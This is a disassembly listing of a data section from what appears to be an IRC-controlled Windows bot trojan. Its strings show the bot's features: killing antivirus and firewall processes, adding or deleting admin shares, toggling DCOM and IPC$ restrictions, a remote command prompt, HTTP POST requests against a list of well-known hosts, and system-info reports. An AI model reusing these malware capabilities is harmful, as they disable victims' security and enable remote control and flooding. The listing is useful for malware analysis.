aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_419460+3Bo
align 4
dword_439D58 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_419594+ABo
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
unk_439D84 db 2Dh ; - ; DATA XREF: sub_419594+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
dd 6D202D03h, 61737365h, 73206567h, 20746E65h, 63637573h
dd 66737365h, 796C6C75h
db 0
align 4
dd 7530h
off_439DB0 dd offset aRegedit_exe ; DATA XREF: sub_4196BD+CBo
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset dword_439EB8
dd offset dword_439EAC
dd offset dword_439EA0
dd offset dword_439E94
dd offset dword_439E88
dd offset dword_439E7C
dd offset dword_439E6C
dd offset dword_439E60
dd offset dword_439E54
dd offset dword_439E48
dd offset dword_439E3C
dd offset dword_439E2C
dd offset dword_439E20
dd offset dword_439E10
dword_439E10 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BD+ECo
; ___:00439E0Co
dword_439E20 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439E08o
dword_439E2C dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439E04o
dword_439E3C dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439E00o
dword_439E48 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439DFCo
dword_439E54 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439DF8o
dword_439E60 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439DF4o
dword_439E6C dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439DF0o
dword_439E7C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:00439DECo
dword_439E88 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:00439DE8o
dword_439E94 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:00439DE4o
dword_439EA0 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:00439DE0o
dword_439EAC dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:00439DDCo
dword_439EB8 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:00439DD8o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439DD4o
align 4
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439DD0o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:00439DCCo
align 10h
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:00439DC8o
align 10h
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:00439DC4o
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:00439DC0o
align 4
aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:00439DBCo
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:00439DB8o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:00439DB4o
align 10h
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_439DB0o
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BD+191o
align 4
unk_439F68 db 2Dh ; - ; DATA XREF: sub_4198EC:loc_419973o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
unk_439F8C db 2Dh ; - ; DATA XREF: sub_4198EC+80o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 10h
unk_439FB0 db 2Dh ; - ; DATA XREF: sub_4198EC+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A89+33o
unk_439FE0 db 2Dh ; - ; DATA XREF: sub_419B10:loc_419C42o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A010 db 2Dh ; - ; DATA XREF: sub_419B10+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 4
unk_43A038 db 2Dh ; - ; DATA XREF: sub_419B10:loc_419BF6o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 4
unk_43A068 db 2Dh ; - ; DATA XREF: sub_419C65+194o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
unk_43A09C db 2Dh ; - ; DATA XREF: sub_419C65+14Co
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 10h
off_43A0C0 dd offset dword_43A0F8 ; DATA XREF: sub_419E7A+1B3o
; sub_41A19E+17Ao
align 8
dd offset dword_43A0F0
align 10h
off_43A0D0 dd offset dword_43A0EC ; DATA XREF: sub_41A19E+1E3o
dd offset off_43A0E8
dd offset dword_43A0E4
dd offset off_43A0E0
off_43A0E0 dd offset dword_5C3A44 ; DATA XREF: sub_419E7A+217o
; ___:0043A0DCo
dword_43A0E4 dd 2444h ; DATA XREF: ___:0043A0D8o
off_43A0E8 dd offset byte_5C3A43 ; DATA XREF: ___:0043A0D4o
dword_43A0EC dd 2443h ; DATA XREF: ___:off_43A0D0o
dword_43A0F0 dd 494D4441h, 244Eh ; DATA XREF: ___:0043A0C8o
dword_43A0F8 dd 24435049h, 0 ; DATA XREF: ___:off_43A0C0o
dword_43A100 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+2E5o
; sub_41A19E+2DBo
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 10h
dword_43A130 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+2CFo
aNetworkSharesD db '- Network shares deleted.',0
align 4
dword_43A158 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_41A0DCo
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_43A184 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+25Bo
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 4
dword_43A1A8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_41A049o
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_43A1D4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+1C8o
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 4
dword_43A1F8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_419FACo
; sub_41A19E:loc_41A2CCo
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_43A228 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_419FA5o
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_43A264 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_419F87o
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 4
dword_43A298 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+106o
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E7A+EDo
; sub_41A19E+EDo
align 4
dword_43A2E8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+91o
; sub_41A19E+91o
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
dword_43A318 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: sub_419E7A:loc_419EE7o
dd 62617369h, 2E64656Ch, 0
dword_43A338 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+66o
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E7A+54o
; sub_41A19E+54o
align 4
dword_43A368 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+2C3o
aNetworkSharesA db '- Network shares added.',0
aC_0 db '%c:\',0 ; DATA XREF: sub_41A19E+230o
align 4
aC_1 db '%c$',0 ; DATA XREF: sub_41A19E+219o
dword_43A398 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E:loc_41A33Do
; sub_41A19E:loc_41A40Eo
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A3C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+198o
; sub_41A19E+269o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_43A3E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E:loc_41A2C5o
aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
dword_43A41C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E:loc_41A2A7o
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 4
dword_43A454 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+102o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
dword_43A494 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: sub_41A19E:loc_41A20Bo
dd 6C62616Eh, 2E6465h
dword_43A4B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+66o
aEnableDcomFail db '- Enable DCOM failed.',0
align 4
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D2+E1o
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dword_43A508 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_41A6AF+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AF+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AF+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AF+B6o
align 4
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AF+AFo
align 4
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AF+A8o
align 10h
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AF+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AF+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AF+93o
align 4
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AF+8Co
align 4
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AF+85o
align 4
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AF+7Eo
align 4
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AF+77o
align 4
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AF+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AF+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AF+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AF+5Bo
align 4
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AF+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AF+4Do
align 4
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AF+46o
align 4
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AF+3Fo
align 4
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AF+38o
align 4
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AF+31o
align 4
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AF+2Ao
align 4
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AF+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AF+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AF+15o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88C+52o
dword_43A720 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_41AA43+297o
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
dword_43A7FC dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA43+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA43:loc_41ABA7o
align 10h
aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA43+EBo
dword_43A828 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_41ACF7+A4o
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
off_43A86C dd offset word_412F4E ; DATA XREF: sub_41ACF7:loc_41AD63o
off_43A870 dd offset dword_4E414C ; DATA XREF: sub_41ACF7:loc_41AD59o
dword_43A874 dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF7+5Bo
dword_43A87C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF7+48o
unk_43A88C db 2Dh ; - ; DATA XREF: sub_41ADB6:loc_41AF6Fo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 4
unk_43A8BC db 2Dh ; - ; DATA XREF: sub_41ADB6:loc_41AF68o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
dword_43A8E8 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
; DATA XREF: sub_41ADB6+1A0o
dd 4C525520h, 2Eh
unk_43A904 db 2Dh ; - ; DATA XREF: sub_41ADB6:loc_41AF49o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 10h
dword_43A940 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41ADB6+18Co
dd 64657469h, 2Eh
dword_43A95C dd 2A2F2Ah ; DATA XREF: sub_41ADB6+3Bo
dword_43A960 dd 5F230852h ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
align 10h
dword_43A970 dd 173Fh ; DATA XREF: sub_41C679+Dr
dd 9875h, 9873h
off_43A97C dd offset sub_41C748 ; DATA XREF: ___:0041B784r
dd offset nullsub_2
dd offset nullsub_2
dword_43A988 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr
dword_43A98C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o
; sub_41CC4A+2o
off_43A9A0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr
dword_43A9A4 dd 2 ; DATA XREF: sub_423590+Er
; sub_4235C9+46r ...
dd 10h, 0
off_43A9B0 dd offset off_43A9B0 ; DATA XREF: sub_41E976+Do
; sub_41E976+69o ...
off_43A9B4 dd offset off_43A9B0 ; DATA XREF: sub_41E976:loc_41E9F6r
; sub_41E976+89w ...
dd offset dword_43A9C8
dd offset dword_43A9C8
dword_43A9C0 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r
; sub_41EABA:loc_41EB07w
dd 0FFFFFFFFh
dword_43A9C8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A9B8o
; ___:0043A9BCo
off_43C9D0 dd offset off_43A9B0 ; DATA XREF: sub_41EABA+15r
; sub_41EABA+20w ...
dword_43C9D4 dd 1E0h ; DATA XREF: sub_41B202+185r
; sub_41B513:loc_41B54Fr ...
off_43C9D8 dd offset word_43C9E2 ; DATA XREF: sub_41B6EE+23r
; sub_41B6EE:loc_41B74Fr ...
off_43C9DC dd offset word_43C9E2 ; DATA XREF: sub_426BC1+18r
db 2 dup(0)
word_43C9E2 dw 20h ; DATA XREF: sub_424D47+18r
; ___:off_43C9D8o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43CBE4 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r
; sub_41B6EE:loc_41B73Ar ...
byte_43CBE8 db 2Eh ; DATA XREF: sub_420510:loc_420804r
; sub_420510+311r ...
align 4
dd 1
off_43CBF0 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r
; sub_41F69F+457r
; "(null)"
off_43CBF4 dd offset aNull ; DATA XREF: sub_41F69F+259r
; "(null)"
byte_43CBF8 db 1 ; DATA XREF: sub_41FEA9+E1r
db 2, 4, 8
align 10h
dword_43CC00 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo
dword_43CC04 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr
dword_43CC10 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43CCF0 dd 1 ; DATA XREF: sub_41FEA9+3Co
; sub_4203DF+Co
dword_43CCF4 dd 16h ; DATA XREF: sub_4203DF:loc_420414r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43CE58 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o
; sub_420510:loc_420A77o
dword_43CE60 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o
dword_43CE68 dd 14h ; DATA XREF: sub_421624+2o
off_43CE6C dd offset aExp ; DATA XREF: sub_421624:loc_421641r
; "exp"
dd 1Dh, 427870h, 1Ah, 42C964h, 1Bh, 427868h, 1Fh, 427860h
dd 13h, 427858h, 21h, 427850h, 0Eh, 427848h, 0Dh, 427840h
dd 0Fh, 427838h, 10h, 427830h, 5, 427828h, 1Eh, 427824h
dd 12h, 427820h, 20h, 42781Ch, 0Ch, 427814h, 0Bh, 42780Ch
dd 15h, 427804h, 1Ch, 4277FCh, 19h, 4277F4h, 11h, 4277ECh
dd 18h, 4277E4h, 16h, 4277DCh, 17h, 4277D4h, 22h, 4277D0h
dd 23h, 4277CCh, 24h, 4277C8h
dbl_43CF40 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r
; sub_42135F:loc_421446r ...
dd 0
dd 0FFF80000h
dbl_43CF50 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r
; sub_42135F:loc_42141Er ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43CF68 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
; sub_42180C+1Fr
align 4
tbyte_43CF74 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
align 10h
off_43CF80 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw
; sub_41F69F+3AAr
off_43CF84 dd offset sub_421935 ; DATA XREF: sub_41C760+5w
; sub_41F69F+3E2r
off_43CF88 dd offset sub_42199B ; DATA XREF: sub_41C760+14w
; sub_420510+430r
off_43CF8C dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew
; sub_41F69F+3CBr
off_43CF90 dd offset sub_421983 ; DATA XREF: sub_41C760+28w
off_43CF94 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w
dd offset sub_42470C
align 10h
dd offset sub_42255C
off_43CFA4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r
dword_43CFA8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar
; sub_422E2F+11o ...
dword_43CFAC dd 0Bh ; DATA XREF: sub_425A82+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43D020 dd 3 ; DATA XREF: ___:00422D46r
; sub_425955+C8r
dword_43D024 dd 7 ; DATA XREF: ___:00422D4Cr
; sub_425955+CDr
dword_43D028 dd 0Ah ; DATA XREF: sub_422E2F+4r
; sub_425A82+4r
dword_43D02C dd 8Ch ; DATA XREF: ___:00422D70r
; ___:00422D7Dw ...
dword_43D030 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o
; sub_41F58A:loc_41F647o
dword_43D038 dd 2 ; DATA XREF: sub_4235C9+Eo
; sub_4235C9+28r
off_43D03C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
; sub_4235C9+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 427B8Ch, 9, 427B60h, 0Ah, 427B3Ch, 10h, 427B10h
dd 11h, 427AE0h, 12h, 427ABCh, 13h, 427A90h, 18h, 427A58h
dd 19h, 427A30h, 1Ah, 4279F8h, 1Bh, 4279C0h, 1Ch, 427998h
dd 78h, 427988h, 79h, 427978h, 7Ah, 427968h, 0FCh, 433F14h
dd 0FFh, 427958h
off_43D0C8 dd offset dword_4DBC80 ; DATA XREF: sub_4235C9+1Bo
; sub_423936+55o
align 10h
dd offset dword_4DBC80
dd 101h
dword_43D0D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o
dd 1000h, 0
dword_43D0E8 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o
; sub_420446+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D108 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o
; sub_420446:loc_420464o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D138 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo
dword_43D348 dd 2 dup(0) ; DATA XREF: sub_423936+69o
dword_43D350 dd 2694h ; DATA XREF: sub_420FC1+3r
; sub_421014+46r
align 8
dword_43D358 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo
dword_43D370 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43D388 dd 7080h ; DATA XREF: sub_422669+76r
; sub_4247EC+5Ew ...
dword_43D38C dd 1 ; DATA XREF: sub_422669+98r
; sub_4247EC+8Bw ...
dword_43D390 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br
; sub_4247EC+94w ...
off_43D394 dd offset dword_545350 ; DATA XREF: ___:off_43D414o
dd 0Fh dup(0)
off_43D3D4 dd offset dword_544450 ; DATA XREF: ___:off_43D418o
dd 0Fh dup(0)
off_43D414 dd offset off_43D394 ; DATA XREF: sub_4247EC+BAr
; sub_4247EC+D9r ...
off_43D418 dd offset off_43D3D4 ; DATA XREF: sub_4247EC+F4r
; sub_4247EC+11Br ...
align 10h
dword_43D420 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw
; sub_424A4A+1Er ...
dword_43D424 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er
; sub_424BF6+BFw
dword_43D428 dd 0 ; DATA XREF: sub_424A4A+192r
; sub_424BF6+E0w
align 10h
dword_43D430 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w
; sub_424A4A+26r ...
dword_43D434 dd 0 ; DATA XREF: sub_424A4A+13Ar
; sub_424BF6+EAw ...
dword_43D438 dd 0 ; DATA XREF: sub_424A4A+1A1r
; sub_424BF6+23r ...
dword_43D43C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_43D46C dd 16Dh ; DATA XREF: sub_422669+2Ar
; sub_424BF6+2Er ...
dword_43D470 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_43D4A8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43D608 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_425DDA+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
